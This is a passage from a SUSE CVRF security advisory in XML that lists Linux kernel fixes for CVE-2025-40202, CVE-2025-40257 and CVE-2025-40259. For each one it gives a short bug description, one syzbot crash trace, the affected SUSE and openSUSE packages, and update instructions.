        <Description>CVE-2025-40097</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1252900</URL>
        <Description>SUSE Bug 1252900</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="16">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ipmi: Rework user message limit handling

The limit on the number of user messages had a number of issues,
improper counting in some cases and a use after free.

Restructure how this is all done to handle more in the receive message
allocation routine, so all refcouting and user message limit counts
are done in that routine.  It's a lot cleaner and safer.</Note>
    </Notes>
    <CVE>CVE-2025-40202</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-40202.html</URL>
        <Description>CVE-2025-40202</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1253451</URL>
        <Description>SUSE Bug 1253451</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="17">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

mptcp: fix a race in mptcp_pm_del_add_timer()

mptcp_pm_del_add_timer() can call sk_stop_timer_sync(sk, &amp;entry-&gt;add_timer)
while another might have free entry already, as reported by syzbot.

Add RCU protection to fix this issue.

Also change confusing add_timer variable with stop_timer boolean.

syzbot report:

BUG: KASAN: slab-use-after-free in __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616
Read of size 4 at addr ffff8880311e4150 by task kworker/1:1/44

CPU: 1 UID: 0 PID: 44 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT_{RT,(full)}
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025
Workqueue: events mptcp_worker
Call Trace:
 &lt;TASK&gt;
  dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120
  print_address_description mm/kasan/report.c:378 [inline]
  print_report+0xca/0x240 mm/kasan/report.c:482
  kasan_report+0x118/0x150 mm/kasan/report.c:595
  __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616
  sk_stop_timer_sync+0x1b/0x90 net/core/sock.c:3631
  mptcp_pm_del_add_timer+0x283/0x310 net/mptcp/pm.c:362
  mptcp_incoming_options+0x1357/0x1f60 net/mptcp/options.c:1174
  tcp_data_queue+0xca/0x6450 net/ipv4/tcp_input.c:5361
  tcp_rcv_established+0x1335/0x2670 net/ipv4/tcp_input.c:6441
  tcp_v4_do_rcv+0x98b/0xbf0 net/ipv4/tcp_ipv4.c:1931
  tcp_v4_rcv+0x252a/0x2dc0 net/ipv4/tcp_ipv4.c:2374
  ip_protocol_deliver_rcu+0x221/0x440 net/ipv4/ip_input.c:205
  ip_local_deliver_finish+0x3bb/0x6f0 net/ipv4/ip_input.c:239
  NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318
  NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318
  __netif_receive_skb_one_core net/core/dev.c:6079 [inline]
  __netif_receive_skb+0x143/0x380 net/core/dev.c:6192
  process_backlog+0x31e/0x900 net/core/dev.c:6544
  __napi_poll+0xb6/0x540 net/core/dev.c:7594
  napi_poll net/core/dev.c:7657 [inline]
  net_rx_action+0x5f7/0xda0 net/core/dev.c:7784
  handle_softirqs+0x22f/0x710 kernel/softirq.c:622
  __do_softirq kernel/softirq.c:656 [inline]
  __local_bh_enable_ip+0x1a0/0x2e0 kernel/softirq.c:302
  mptcp_pm_send_ack net/mptcp/pm.c:210 [inline]
 mptcp_pm_addr_send_ack+0x41f/0x500 net/mptcp/pm.c:-1
  mptcp_pm_worker+0x174/0x320 net/mptcp/pm.c:1002
  mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762
  process_one_work kernel/workqueue.c:3263 [inline]
  process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346
  worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427
  kthread+0x711/0x8a0 kernel/kthread.c:463
  ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158
  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 &lt;/TASK&gt;

Allocated by task 44:
  kasan_save_stack mm/kasan/common.c:56 [inline]
  kasan_save_track+0x3e/0x80 mm/kasan/common.c:77
  poison_kmalloc_redzone mm/kasan/common.c:400 [inline]
  __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:417
  kasan_kmalloc include/linux/kasan.h:262 [inline]
  __kmalloc_cache_noprof+0x1ef/0x6c0 mm/slub.c:5748
  kmalloc_noprof include/linux/slab.h:957 [inline]
  mptcp_pm_alloc_anno_list+0x104/0x460 net/mptcp/pm.c:385
  mptcp_pm_create_subflow_or_signal_addr+0xf9d/0x1360 net/mptcp/pm_kernel.c:355
  mptcp_pm_nl_fully_established net/mptcp/pm_kernel.c:409 [inline]
  __mptcp_pm_kernel_worker+0x417/0x1ef0 net/mptcp/pm_kernel.c:1529
  mptcp_pm_worker+0x1ee/0x320 net/mptcp/pm.c:1008
  mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762
  process_one_work kernel/workqueue.c:3263 [inline]
  process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346
  worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427
  kthread+0x711/0x8a0 kernel/kthread.c:463
  ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158
  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 6630:
  kasan_save_stack mm/kasan/common.c:56 [inline]
  kasan_save_track+0x3e/0x80 mm/kasan/common.c:77
  __kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:587
  kasan_save_free_info mm/kasan/kasan.h:406 [inline]
  poison_slab_object m
---truncated---</Note>
    </Notes>
    <CVE>CVE-2025-40257</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-40257.html</URL>
        <Description>CVE-2025-40257</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1254842</URL>
        <Description>SUSE Bug 1254842</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257242</URL>
        <Description>SUSE Bug 1257242</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="18">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

scsi: sg: Do not sleep in atomic context

sg_finish_rem_req() calls blk_rq_unmap_user(). The latter function may
sleep. Hence, call sg_finish_rem_req() with interrupts enabled instead
of disabled.</Note>
    </Notes>
    <CVE>CVE-2025-40259</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
